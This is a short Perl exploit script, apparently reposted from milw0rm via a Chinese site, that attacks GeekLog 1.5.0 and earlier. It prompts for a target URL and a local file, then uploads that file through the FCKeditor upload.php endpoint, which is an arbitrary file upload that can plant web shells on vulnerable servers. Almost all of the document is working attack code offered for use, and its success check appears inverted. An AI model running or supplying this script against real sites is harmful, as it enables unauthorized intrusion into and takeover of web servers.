#!/usr/bin/perluse warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;print <<INTRO;
                                                     
    GeekLog <= 1.5.0 Remote Arbitrary File Upload   
                                                     
          Discovered && Coded By: t0pP8uZz           
                                                     
  0day?!?Most sites need custom configuration files  
  for this exploit to actually work, anyway enjoy   
                                                     
    Discovered On: 20 August 2008 / milw0rm.com      
                                                     
       Script Download: http://www.geeklog.net      
                                                     INTROprint "Enter URL(ie: http://site.com): ";
    chomp(my $url=<STDIN>);
   
print "Enter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/fckeditor/editor/filemanager/upload/php/upload.php',
                      Content_Type => 'form-data',
                      Content      => [ NewFile => $file ] );if($re->is_success) {
    if( index($re->content, "Disabled") != -1 ) { print "Exploit Successfull! File Uploaded!\n"; }
    else { print "File Upload Is Disabled! Failed!\n"; }
} else { print "HTTP Request Failed!\n"; }exit;

来源：https://www.jb51.net/hack/5610.html
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！